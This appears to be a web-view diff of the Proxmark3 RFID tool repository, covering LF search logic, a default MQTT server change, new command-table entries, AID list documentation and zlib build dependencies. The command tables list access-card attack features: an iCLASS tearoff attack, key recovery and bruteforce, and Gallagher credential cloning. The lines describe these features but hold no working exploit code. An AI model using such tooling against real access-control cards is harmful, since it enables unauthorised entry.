||||
int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot,
|
||||
uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm);
|
||||
|
||||
+10
-3
@@ -1572,6 +1572,8 @@ static bool check_chiptype(bool getDeviceData) {
|
||||
saveState_db.clock = g_DemodClock;
|
||||
saveState_db.offset = g_DemodStartIdx;
|
||||
|
||||
PrintAndLogEx(INFO, "Searching for auth LF and special cases...");
|
||||
|
||||
// check for em4x05/em4x69 chips first
|
||||
uint32_t word = 0;
|
||||
if (IfPm3EM4x50() && em4x05_isblock0(&word)) {
|
||||
@@ -1786,14 +1788,19 @@ int CmdLFfind(const char *Cmd) {
|
||||
}
|
||||
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
PrintAndLogEx(FAILED, _RED_("No data found!"));
|
||||
|
||||
// identify chipset
|
||||
if (check_chiptype(is_online) == false) {
|
||||
bool lf_special_search = check_chiptype(is_online);
|
||||
if ( lf_special_search ) {
|
||||
found++;
|
||||
} else {
|
||||
PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed"));
|
||||
}
|
||||
|
||||
PrintAndLogEx(HINT, "Hint: Maybe not an LF tag?");
|
||||
if ( found == 0) {
|
||||
PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf search") "` - since tag might not be LF");
|
||||
}
|
||||
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
if (search_cont == 0) {
|
||||
return PM3_ESOFT;
|
||||
|
||||
@@ -259,7 +259,7 @@ static int CmdMqttSend(const char *Cmd) {
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "mqtt send",
|
||||
"This command send MQTT messages. You can send JSON file\n"
|
||||
"Default server: proxdump.com:1883 topic: proxdump\n",
|
||||
"Default server: mqtt.proxdump.com:1883 topic: proxdump\n",
|
||||
"mqtt send --msg \"Hello from Pm3\" --> sending msg to default server/port/topic\n"
|
||||
"mqtt send -f myfile.json --> sending file to default server/port/topic\n"
|
||||
"mqtt send --addr test.mosquitto.org -p 1883 --topic pm3 --msg \"custom mqtt server \"\n"
|
||||
@@ -308,7 +308,7 @@ static int CmdMqttSend(const char *Cmd) {
|
||||
if (strlen(g_session.mqtt_server)) {
|
||||
strcpy(addr, g_session.mqtt_server);
|
||||
} else {
|
||||
strcpy(addr, "proxdump.com");
|
||||
strcpy(addr, "mqtt.proxdump.com");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -251,6 +251,7 @@ const static vocabulary_t vocabulary[] = {
|
||||
{ 0, "hf felica sniff" },
|
||||
{ 0, "hf felica wrbl" },
|
||||
{ 0, "hf felica dump" },
|
||||
{ 0, "hf felica discnodes" },
|
||||
{ 0, "hf felica rqservice" },
|
||||
{ 0, "hf felica rqresponse" },
|
||||
{ 0, "hf felica scsvcode" },
|
||||
@@ -282,6 +283,7 @@ const static vocabulary_t vocabulary[] = {
|
||||
{ 1, "hf gallagher diversifykey" },
|
||||
{ 1, "hf gallagher decode" },
|
||||
{ 1, "hf gallagher encode" },
|
||||
{ 1, "hf gallagher test" },
|
||||
{ 1, "hf gst help" },
|
||||
{ 1, "hf gst list" },
|
||||
{ 1, "hf gst test" },
|
||||
@@ -305,6 +307,7 @@ const static vocabulary_t vocabulary[] = {
|
||||
{ 0, "hf iclass legrec" },
|
||||
{ 1, "hf iclass legbrute" },
|
||||
{ 1, "hf iclass unhash" },
|
||||
{ 0, "hf iclass blacktears" },
|
||||
{ 0, "hf iclass sim" },
|
||||
{ 0, "hf iclass eload" },
|
||||
{ 0, "hf iclass esave" },
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
# AID list (`aidlist.json`)
|
||||
<a id="top"></a>
|
||||
|
||||
This file acts as a database of ISO/IEC 7816 application identifiers (AIDs) and their human-readable metadata.
|
||||
|
||||
It is used by commands that try known app selections and then print decoded information (for example `hf 14a info --aidsearch`, `hf 14b info --aidsearch`, etc.).
|
||||
|
||||
## Format
|
||||
Each entry in `client/resources/aidlist.json` must contain all of the fields below (use an empty string if data is unknown):
|
||||
|
||||
- `AID`: Application Identifier as a hex string, no spaces or separators, representing raw bytes in ISO7816 select order (big-endian byte order as transmitted in APDU data).
|
||||
- `Vendor`: Organization, scheme, ecosystem owner, or issuer most directly associated with this AID. Specify multiple issuers with a comma or semicolon separator.
|
||||
- `Country`: Primary country associated with the vendor or deployment context. Leave empty when unknown or globally used.
|
||||
- `Name`: Short user-facing application name.
|
||||
- `Description`: Extra context, disambiguation, references, legacy naming, known usage notes, or deployment-specific remarks.
|
||||
- `Type`: High-level category tag (for example `transport`, `emv`, `gp`, `pacs`, `ndef`).
|
||||
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"AID": "A00000039656434103F1216000000000",
|
||||
"Vendor": "LV Monorail",
|
||||
"Country": "United States",
|
||||
"Name": "Las Vegas Monorail",
|
||||
"Description": "Used on Las Vegas Monorail during Google Wallet Mifare 2GO demo period",
|
||||
"Type": "transport"
|
||||
}
|
||||
```
|
||||
+258
-86
File diff suppressed because it is too large
Load Diff
+19
-2
@@ -350,6 +350,7 @@ Check column "offline" for their availability.
|
||||
|`hf felica sniff `|N |`Sniff ISO 18092/FeliCa traffic`
|
||||
|`hf felica wrbl `|N |`write block data to an authentication-not-required Service.`
|
||||
|`hf felica dump `|N |`Wait for and try dumping FeliCa`
|
||||
|`hf felica discnodes `|N |`discover Area Code and Service Code nodes.`
|
||||
|`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.`
|
||||
|`hf felica rqresponse `|N |`verify the existence of a card and its Mode.`
|
||||
|`hf felica scsvcode `|N |`acquire Area Code and Service Code.`
|
||||
@@ -399,12 +400,26 @@ Check column "offline" for their availability.
|
||||
|command |offline |description
|
||||
|------- |------- |-----------
|
||||
|`hf gallagher help `|Y |`This help`
|
||||
|`hf gallagher reader `|N |`Read & decode all Gallagher credentials on a DESFire card`
|
||||
|`hf gallagher clone `|N |`Add Gallagher credentials to a DESFire card`
|
||||
|`hf gallagher reader `|N |`Read & decode all Gallagher credentials on a DESFire or Classic card`
|
||||
|`hf gallagher clone `|N |`Clone Gallagher credentials to a DESFire or Classic card`
|
||||
|`hf gallagher delete `|N |`Delete Gallagher credentials from a DESFire card`
|
||||
|`hf gallagher diversifykey`|Y |`Diversify Gallagher key`
|
||||
|`hf gallagher decode `|Y |`Decode Gallagher credential block`
|
||||
|`hf gallagher encode `|Y |`Encode Gallagher credential block`
|
||||
|`hf gallagher test `|Y |`Test the function of Gallagher Mifare Core`
|
||||
|
||||
|
||||
### hf gst
|
||||
|
||||
{ Google Smart Tap passes... }
|
||||
|
||||
|command |offline |description
|
||||
|------- |------- |-----------
|
||||
|`hf gst help `|Y |`This help`
|
||||
|`hf gst list `|Y |`List ISO 14443A/7816 history`
|
||||
|`hf gst test `|Y |`Perform self tests`
|
||||
|`hf gst info `|N |`Get Google Smart Tap applet information`
|
||||
|`hf gst read `|N |`Read and decode Google Smart Tap pass objects`
|
||||
|
||||
|
||||
### hf iclass
|
||||
@@ -431,6 +446,7 @@ Check column "offline" for their availability.
|
||||
|`hf iclass legrec `|N |`Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination`
|
||||
|`hf iclass legbrute `|Y |`Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs`
|
||||
|`hf iclass unhash `|Y |`Reverses a diversified key to retrieve hash0 pre-images after DES encryption`
|
||||
|`hf iclass blacktears `|N |`Automated tearoff attack on new silicon cards to enable non-secure page mode`
|
||||
|`hf iclass sim `|N |`Simulate iCLASS tag`
|
||||
|`hf iclass eload `|N |`Upload file into emulator memory`
|
||||
|`hf iclass esave `|N |`Save emulator memory to file`
|
||||
@@ -837,6 +853,7 @@ Check column "offline" for their availability.
|
||||
|command |offline |description
|
||||
|------- |------- |-----------
|
||||
|`hf vas help `|Y |`This help`
|
||||
|`hf vas info `|N |`Get VAS applet information`
|
||||
|`hf vas reader `|N |`Read and decrypt VAS message`
|
||||
|`hf vas decrypt `|Y |`Decrypt a previously captured VAS cryptogram`
|
||||
|
||||
|
||||
@@ -17,6 +17,8 @@
|
||||
- [On openSUSE Leap 15.6](#on-opensuse-leap-156)
|
||||
- [On openSUSE Tumbleweed](#on-opensuse-tumbleweed)
|
||||
- [If you don't need...](#if-you-dont-need-3)
|
||||
- [On NixOS](#on-nixos)
|
||||
- [If you don't need...](#if-you-dont-need-4)
|
||||
- [Clone the repository](#clone-the-repository)
|
||||
- [Check ModemManager](#check-modemmanager)
|
||||
- [⚠️ Very important ⚠️](#️-very-important-️)
|
||||
@@ -88,7 +90,7 @@ you may have to install `libcanberra-gtk-module`.
|
||||
^[Top](#top)
|
||||
|
||||
```sh
|
||||
sudo pacman -Syu git base-devel readline bzip2 lz4 arm-none-eabi-gcc \
|
||||
sudo pacman -Syu git base-devel readline bzip2 lz4 zlib arm-none-eabi-gcc \
|
||||
arm-none-eabi-newlib qt6-base bluez python gd --needed
|
||||
```
|
||||
|
||||
@@ -102,6 +104,9 @@ you can skip the installation of `qt6-base`.
|
||||
👉 If you don't need support for Python3 scripts in the Proxmark3 client,
|
||||
you can skip the installation of `python`.
|
||||
|
||||
👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client,
|
||||
you can skip the installation of `zlib`.
|
||||
|
||||
👉 If you don't need support for NFC ePaper devices,
|
||||
you can skip the installation of `gd`.
|
||||
|
||||
@@ -111,7 +116,7 @@ you can skip the installation of `gd`.
|
||||
|
||||
```sh
|
||||
sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib \
|
||||
readline-devel bzip2-devel lz4-devel qt6-qtbase-devel bluez-libs-devel \
|
||||
readline-devel bzip2-devel lz4-devel zlib-ng-compat-devel qt6-qtbase-devel bluez-libs-devel \
|
||||
python3-devel libatomic openssl-devel gd-devel
|
||||
```
|
||||
|
||||
@@ -125,6 +130,9 @@ you can skip the installation of `qt6-qtbase-devel`.
|
||||
👉 If you don't need support for Python3 scripts in the Proxmark3 client,
|
||||
you can skip the installation of `python3-devel`.
|
||||
|
||||
👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client,
|
||||
you can skip the installation of `zlib-ng-compat-devel`.
|
||||
|
||||
👉 If you don't need support for NFC ePaper devices,
|
||||
you can skip the installation of `gd-devel`.
|
||||
|
||||
@@ -134,7 +142,7 @@ you can skip the installation of `gd-devel`.
|
||||
|
||||
```sh
|
||||
sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \
|
||||
readline-devel libbz2-devel liblz4-devel \
|
||||
readline-devel libbz2-devel liblz4-devel zlib-devel \
|
||||
python3-devel libqt5-qtbase-devel libopenssl-devel gd-devel
|
||||
sudo zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \
|
||||
sudo zypper --gpg-auto-import-keys refresh && \
|
||||
@@ -161,7 +169,7 @@ sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++-15 100
|
||||
|
||||
```sh
|
||||
sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \
|
||||
readline-devel libbz2-devel liblz4-devel bluez-devel \
|
||||
readline-devel libbz2-devel liblz4-devel zlib-devel bluez-devel \
|
||||
python3-devel qt6-core-devel qt6-widgets-devel libopenssl-devel gd-devel \
|
||||
cross-arm-none-gcc12 cross-arm-none-newlib-devel
|
||||
```
|
||||
@@ -173,6 +181,9 @@ you can skip the installation of `qt6-core-devel qt6-widgets-devel`.
|
||||
👉 If you don't need support for Python3 scripts in the Proxmark3 client,
|
||||
you can skip the installation of `python3-devel`.
|
||||
|
||||
👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client,
|
||||
you can skip the installation of `zlib-devel`.
|
||||
|
||||
👉 If you don't need support for NFC ePaper devices,
|
||||
you can skip the installation of `gd-devel`.
|
||||
|
||||
@@ -196,6 +207,9 @@ you can comment out `qt6Packages.qtbase` and `qt6Packages.wrapQtAppsHook` in sh
|
||||
👉 If you don't need support for Python3 scripts in the Proxmark3 client,
|
||||
you can comment out `python3` in shell.nix.
|
||||
|
||||
👉 If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client,
|
||||
you can comment out `zlib` in shell.nix.
|
||||
|
||||
👉 If you don't need support for NFC ePaper devices,
|
||||
you can comment out `gd` in shell.nix.
|
||||
|
||||
|
||||
@@ -170,13 +170,15 @@ Install dependencies:
|
||||
```sh
|
||||
sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \
|
||||
libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \
|
||||
libbz2-dev liblz4-dev libpython3-dev libssl-dev libgd-dev
|
||||
libbz2-dev liblz4-dev zlib1g-dev libpython3-dev libssl-dev libgd-dev
|
||||
```
|
||||
> [!NOTE]
|
||||
> * If you don't need the graphical components of the
|
||||
> Proxmark3 client, you can skip the installation of `qtbase6-dev`.
|
||||
> * If you don't need support for Python3 scripts in the
|
||||
> Proxmark3 client, you can skip the installation of `libpython3-dev`.
|
||||
> * If you don't need support for decompressing compressed Google Smart Tap payloads
|
||||
> in the Proxmark3 client, you can skip the installation of `zlib1g-dev`.
|
||||
> * If you don't need support for NFC ePaper devices in the
|
||||
> PM3 device, you can skip the installation of `libgd-dev`.
|
||||
|
||||
|
||||
@@ -196,7 +196,7 @@ For example, on Ubuntu 24.04 or later:
|
||||
sudo apt-get install --no-install-recommends \
|
||||
git ca-certificates build-essential pkg-config \
|
||||
libreadline-dev gcc-arm-none-eabi libnewlib-dev \
|
||||
libbz2-dev liblz4-dev libpython3-dev qtbase6-dev \
|
||||
libbz2-dev liblz4-dev zlib1g-dev libpython3-dev qtbase6-dev \
|
||||
libssl-dev libgd-dev
|
||||
```
|
||||
|
||||
@@ -205,6 +205,8 @@ sudo apt-get install --no-install-recommends \
|
||||
> Proxmark3 client, you can skip the installation of `qtbase6-dev`.
|
||||
> * If you don't need support for Python3 scripts in the
|
||||
> Proxmark3 client, you can skip the installation of `libpython3-dev`.
|
||||
> * If you don't need support for decompressing compressed Google Smart Tap payloads
|
||||
> in the Proxmark3 client, you can skip the installation of `zlib1g-dev`.
|
||||
> * If you don't need support for NFC ePaper devices in the
|
||||
> PM3 device, you can skip the installation of `libgd-dev`.
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ RUN pacman -Syu --noconfirm
|
||||
RUN pacman-db-upgrade
|
||||
|
||||
# bluez skipped, can't be installed in docker
|
||||
RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 gd arm-none-eabi-gcc arm-none-eabi-newlib --needed
|
||||
RUN pacman -S --noconfirm sudo git base-devel cmake libusb readline bzip2 lz4 zlib gd arm-none-eabi-gcc arm-none-eabi-newlib --needed
|
||||
|
||||
# OpenCL for hitag2crack
|
||||
RUN pacman -S --noconfirm ocl-icd
|
||||
|
||||
@@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive
|
||||
RUN apt-get update && \
|
||||
apt-get upgrade -y && \
|
||||
apt-get dist-upgrade -y && \
|
||||
apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \
|
||||
apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \
|
||||
apt-get clean
|
||||
|
||||
RUN apt-get install -y opencl-dev && \
|
||||
|
||||
@@ -6,7 +6,7 @@ ENV DEBIAN_FRONTEND=noninteractive
|
||||
RUN apt-get update && \
|
||||
apt-get upgrade -y && \
|
||||
apt-get dist-upgrade -y && \
|
||||
apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \
|
||||
apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \
|
||||
apt-get clean
|
||||
|
||||
RUN apt-get install -y opencl-dev && \
|
||||
|
||||
@@ -5,7 +5,7 @@ ENV DEBIAN_FRONTEND=noninteractive
|
||||
RUN apt-get update && \
|
||||
apt-get upgrade -y && \
|
||||
apt-get dist-upgrade -y && \
|
||||
apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \
|
||||
apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev zlib1g-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \
|
||||
apt-get clean
|
||||
|
||||
RUN apt-get install -y opencl-dev && \
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user